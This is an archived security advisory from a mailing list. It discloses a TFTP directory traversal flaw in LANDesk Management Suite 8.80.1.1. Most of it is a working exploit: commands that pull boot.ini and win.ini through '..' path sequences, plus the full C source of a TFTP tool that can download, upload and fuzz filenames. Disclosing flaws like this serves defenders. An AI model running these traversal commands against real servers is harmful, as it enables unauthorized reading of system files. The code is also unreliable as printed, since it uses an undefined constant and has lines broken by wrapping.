

[NT] LANDesk Management Suite Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-04/msg00004.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 6 Apr 2008 08:15:56 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

LANDesk Management Suite Directory Traversal

SUMMARY

<<http://www.landesk.com/products/ldms/index.aspx>> LANDesk is a "well known system management software". A directory traversal vulnerability has been discovered in LANDesk's TFTP server.

DETAILS

Vulnerable Systems:

- * LANDesk Management Suite version 8.80.1.1

The PXE TFTP Service is vulnerable to a classical directory traversal vulnerability exploitable through the adding of one or more characters before the usual dotdot pattern.

The interesting thing is that version 8.80.1.1 has been released just to fix another directory traversal vulnerability.

Exploit:

Run the following exploit code with these commands:

```
tftpx SERVER x\..\..\..\..\boot.ini none
```

[NT] LANDesk Management Suite Directory Traversal

```
tftpx SERVER what_you_want/../../../../../../../../windows/win.ini none
```

```
/*
```

```
by Luigi Auriemma – http://aluigi.org/testz/tftpx.zip
```

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "show_dump.h"
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#define sleep Sleep
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
```

```
#define VER "0.1"
#define BUFFSZ 65536
#define UDPSZ 512
#define PORT 69
#define CHR 0x61
#define TIMEOUT 3
#define NONE "none"
```

```
u_int tftp_download(u_char *buff);
u_int tftp_upload(u_char *buff, u_int filesz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
```

```
FILE *fd;
int sd,
```

[NT] LANDesk Management Suite Directory Traversal

```
hexdump = 0;
struct sockaddr_in peer;

int main(int argc, char *argv[]) {
u_int tsize = 0;
int i,
len,
psz,
upload = 0,
blocksize = 0,
tout = 0,
multicast = 0,
overwrite = 0,
bofsize = 0;
u_short port = PORT;
u_char *buff,
*local,
*remote,
*custom_option = NULL,
*custom_value = NULL;
struct stat xstat;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"TFTP server tester "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s [options] <host> <remote_file> <local_file>\n"
"\n"
"-u upload a file, default is download\n"
"-t SIZE tftp tsize option, default is %u or real size if
upload\n"
"-b SIZE tftp blocksize option, default is not set\n"
"-o NUM tftp timeout option, default is not set\n"
"-m NUM tftp multicast option, default is not set\n"
"-c X Y add a custom value where X is the option and Y its
value\n"
```

[NT] LANDesk Management Suite Directory Traversal

```
"-C X Y like above but X and Y are the size of the 2 values
filled with '%c'\n"
"-p PORT server port, default is %hu\n"
"-x show the hexdump of any packet received\n"
"-y automatically overwrite the local file if exists
(only download)\n"
"-f [CHR] this option is useful to easily test possible
buffer-overflows in the\n"
" filename sent to the server without manually
specifying it. The\n"
" default char is '%c' (0x%02x) and the number of
chars to compose the\n"
" filename must be specified in the remote_file
argument.\n"
" Example: -f server 8192 local.txt\n"
"\n"
>Note: if local_file is equal to %s will be used stdout for
upload or stdin\n"
" for download. Very useful to test overflow bugs without
creating files.\n"
"\n", argv[0], tsize, CHR, port, CHR, CHR, NONE);
exit(1);
}
```

```
argc -= 3;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case '-':
case '?':
case 'h': {
fputs("\nError: use no arguments for the help\n", stdout);
exit(1);
} break;
case 'u': upload = 1; break;
case 't': tsize = atol(argv[++i]); break;
case 'b': blocksize = atoi(argv[++i]); break;
case 'o': tout = atoi(argv[++i]); break;
case 'm': multicast = atoi(argv[++i]); break;
case 'c': {
custom_option = argv[++i];
custom_value = argv[++i];
} break;
case 'C': {
len = atoi(argv[++i]);
custom_option = malloc(len + 1);
if(!custom_option) std_err();
memset(custom_option, CHR, len);
custom_option[len] = 0;

len = atoi(argv[++i]);
custom_value = malloc(len + 1);
```

[NT] LANDesk Management Suite Directory Traversal

```
if(!custom_value) std_err();
memset(custom_value, CHR, len);
custom_value[len] = 0;
} break;
case 'p': port = atoi(argv[++i]); break;
case 'x': hexdump = 1; break;
case 'y': overwrite = 1; break;
case 'f': bofsize = 1; break;
default: {
printf("\nError: Wrong command-line argument (%s)\n\n",
argv[i]);
exit(1);
} break;
}
}
```

```
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
```

```
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);
```

```
if(bofsize) {
bofsize = atoi(argv[argc + 1]);
// simple size check, not to avoid bof problems (this is
// only a PoC) but to limit bofsize to a correct value
if(bofsize > (BUFFSZ - 8)) bofsize = BUFFSZ - 8;
printf("- size of filename: %d\n", bofsize);
remote = malloc(bofsize + 1);
if(!remote) std_err();
memset(remote, CHR, bofsize);
remote[bofsize] = 0;
} else {
remote = argv[argc + 1];
}
local = argv[argc + 2];
printf("- remote file: %s\n", remote);
if(!strcmp(local, NONE)) {
if(!upload) {
fputs("- local file: standard output\n", stdout);
fd = stdout;
} else {
fputs("- local file: standard input\n", stdout);
fd = stdin;
}
} else {
printf("- local file: %s\n", local);
if(!upload) {
```

[NT] LANDesk Management Suite Directory Traversal

```
fputs("- open local file for writing\n", stdout);
if(!overwrite) {
fd = fopen(local, "rb");
if(fd) {
fputs("- file exists, do you wanna overwrite it?\n
(y/N) ", stdout);
fflush(stdin);
i = fgetc(stdin);
if((i != 'y') && (i != 'Y')) {
fputs("- exit\n\n", stdout);
exit(1);
}
fclose(fd);
}
}
fd = fopen(local, "wb");
if(!fd) std_err();
} else {
fputs("- open local file for reading\n", stdout);
fd = fopen(local, "rb");
if(!fd) std_err();
}
}

buff = malloc(BUFFSZ);
if(!buff) std_err();

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(!upload) {
*(u_short *)buff = htons(1);
} else {
*(u_short *)buff = htons(2);
if(!tsize) {
fstat(fileno(fd), &xstat);
tsize = xstat.st_size;
printf("- local file size: %u\n", tsize);
}
}

len = strlen(remote) + 1;
memcpy(buff + 2, remote, len);
len += 2;
memcpy(buff + len, "octet", 6);
len += 6;

memcpy(buff + len, "tsize", 6);
len += 6;
len += sprintf(buff + len, "%u", tsize) + 1;
```

[NT] LANDesk Management Suite Directory Traversal

```
if(blocksize) {
memcpy(buff + len, "blocksize", 10);
len += 10;
len += sprintf(buff + len, "%d", blocksize) + 1;
}

if(tout) {
memcpy(buff + len, "timeout", 8);
len += 8;
len += sprintf(buff + len, "%d", tout) + 1;
}

if(multicast) {
memcpy(buff + len, "multicast", 10);
len += 10;
len += sprintf(buff + len, "%d", multicast) + 1;
}

if(custom_option) {
i = strlen(custom_option) + 1;
memcpy(buff + len, custom_option, i);
len += i;
i = strlen(custom_value) + 1;
memcpy(buff + len, custom_value, i);
len += i;
}

fputs("- send file request\n", stdout);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

if(!upload) {
fputs("- start download\n", stdout);
printf("\n- %u bytes received\n", tftp_download(buff));
} else {
fputs("- start upload\n", stdout);
printf("\n- %u bytes sent\n", tftp_upload(buff, tsize));
}

fclose(fd);
close(sd);
return(0);
}

u_int tftp_download(u_char *buff) {
u_int tot,
filesz;
int len,
psz;
```

[NT] LANDesk Management Suite Directory Traversal

```
u_short *opcode,
*block;

opcode = (u_short *)buff;
block = (u_short *)(buff + 2);
psz = sizeof(peer);

for(filesz = -1L, tot = 0; tot < filesz;) {
if(timeout(sd) < 0) {
fputs("\n- timeout or download finished\n", stdout);
break;
}
len = recvfrom(sd, buff, BUFSZ, 0, (struct sockaddr *)&peer,
&psz);
if(len < 0) std_err();
if(!len) break;
if(hexdump) show_dump(buff, len, stdout);

switch(ntohs(*opcode)) {
case 3: { /* DATA */
len -= 4;
if(fwrite(buff + 4, len, 1, fd) != 1) {
fputs("\nError: impossible to write into the local
file\n", stdout);
exit(1);
}
fflush(fd);
tot += len;
} break;
case 5: { /* ERROR */
printf("\n"
"Error: TFTP error %d from the server:\n"
"\n"
" %s\n"
"\n", ntohs(*block), buff + 4);
exit(1);
} break;
case 6: { /* OACK */
if(!strcmp(buff + 2, "tsize")) {
sscanf(buff + 8, "%u", &filesz);
printf("- remote file size: %u\n", filesz);
}
*block = 0;
} break;
default: {
fputs("\nError: unknown tftp opcode\n\n", stdout);
if(!hexdump) show_dump(buff, len, stdout);
exit(1);
} break;
}
}
```

[NT] LANDesk Management Suite Directory Traversal

```
*opcode = htons(4);
if(sendto(sd, buff, 4, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

fputc('.', stdout);
}
return(tot);
}
```

```
u_int tftp_upload(u_char *buff, u_int filesz) {
u_int tot;
int len,
psz;
u_short *opcode,
*block,
num;

opcode = (u_short *)buff;
block = (u_short *) (buff + 2);
psz = sizeof(peer);

for(tot = 0, num = 0; tot < filesz; tot += len) {
if(timeout(sd) < 0) {
fputs("\n- timeout or upload finished\n", stdout);
break;
}
len = recvfrom(sd, buff, BUFSZ, 0, (struct sockaddr *)&peer,
&psz);
if(len < 0) std_err();
if(!len) break;
if(hexdump) show_dump(buff, len, stdout);

switch(ntohs(*opcode)) {
case 4: { /* ACK */
if(ntohs(*block) != num) {
fputs("\nError: packet lost, retransmission is not
supported yet\n", stdout);
exit(1);
}
} break;
case 5: { /* ERROR */
printf("\n"
"Error: TFTP error %d from the server:\n"
"\n"
" %s\n"
"\n", ntohs(*block), buff + 4);
exit(1);
} break;
case 6: { /* OACK */
```

[NT] LANDesk Management Suite Directory Traversal

```
    } break;
default: {
fputs("\nError: unknown tftp opcode\n\n", stdout);
if(!hexdump) show_dump(buff, len, stdout);
exit(1);
} break;
}

len = fread(buff + 4, 1, UDPSZ, fd);
if(!len) break;
*opcode = htons(3);
*block = htons(++num);
if(sendto(sd, buff, len + 4, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();

fputc('.', stdout);
}

if(tot == filesz) { /* seems needed or the server doesn't close
the file */
*opcode = htons(3);
*block = htons(++num);
if(sendto(sd, buff, 4, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}

return(tot);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
```

[NT] LANDesk Management Suite Directory Traversal

```
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
```

```
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:alugi@xxxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:

<<http://alugi.altervista.org/adv/landeskftp-adv.txt>>
<http://alugi.altervista.org/adv/landeskftp-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.